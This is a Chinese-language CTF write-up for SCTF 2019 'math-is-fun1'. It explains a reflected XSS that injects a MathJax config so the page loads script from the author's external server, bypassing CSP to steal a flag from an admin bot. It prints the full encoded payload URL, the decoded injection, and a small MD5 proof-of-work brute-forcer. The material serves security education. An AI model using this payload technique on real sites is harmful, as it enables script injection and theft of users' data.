math-is-fun1

发表于 2021-01-04 分类于 Challenge， 2019， SCTF， Web
Challenge | 2019 | SCTF | Web | math-is-fun1

点击此处获得更好的阅读体验

题目考点

- *利用外部组件进行的反射型 XSS*

解题思路

打开靶机，是这样一个页面。

似乎要提交给管理员页面来看，页面没看到有可以提交进行储存的地方。然后来看看页面源码。

这个地方似乎可控，来试试。

Nice，可以。再来看看下面的 js。

可以看到，其对 config 进行解析，首先处理换行，而后对其进行解析 `-config['name']=value`会被赋值到 window 的config里的 name value。 `-name=value`的会被赋值到 window 的 name，值为 value。 那么看看有什么地方读了 window 的，可以看到这里加载了 mathjax 来处理数学公式的显示。

点击进去看看源码，搜索 window，还真调用了。

可以看到其在初始化时将 window 里已有的 MathJax 存到自身的 AuthorConfig 里，而后其会读取这个设置，将里面的 root 作为组件的 root 进行设置。

那么就好办了，我们就构造一个参数，使其从我们的网站上加载我们的 js，这样想做啥都可以了，很棒的是这样加载不受 CSP 之类的限制，美滋滋。 构造如下 `http://47.110.128.101/challenge?name=glzjin%3b%0aMathJax%3d%7b"root"%3a"http%3a%2f%2fxss.zhaoj.in%2fmath"%7d`name那里其实为

```
glzjin;
MathJax={"root":"http://xss.zhaoj.in/math"}
```

这样就达到我们之前想达到的目的了。把这个链接打过去，就可以看到 XSSBOT 加载了什么资源了。祖传算号器：

```
import string, hashlib
a = string.digits + string.lowercase + string.uppercase
for i in a:
    for j in a:
        for k in a:
            for m in a:
                s = hashlib.md5(i + j + k + m).hexdigest()[0:5]
                if s == "5e86c":
                    print(i + j + k + m)
                    exit(0)
```

打丫的

看我自己服务器日志，得

在服务器上创建一个这个路径的文件

再打一遍。收 XSS，获得flag。

- **本文作者：** CTFHub
- **本文链接：** https://writeup.ctfhub.com/Challenge/2019/SCTF/Web/etHSigGFVKjcgZ3WbFMGsX.html
- **版权声明：** 本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

Challenge # Web # 2019 # SCTF
flag shop
math-is-fun2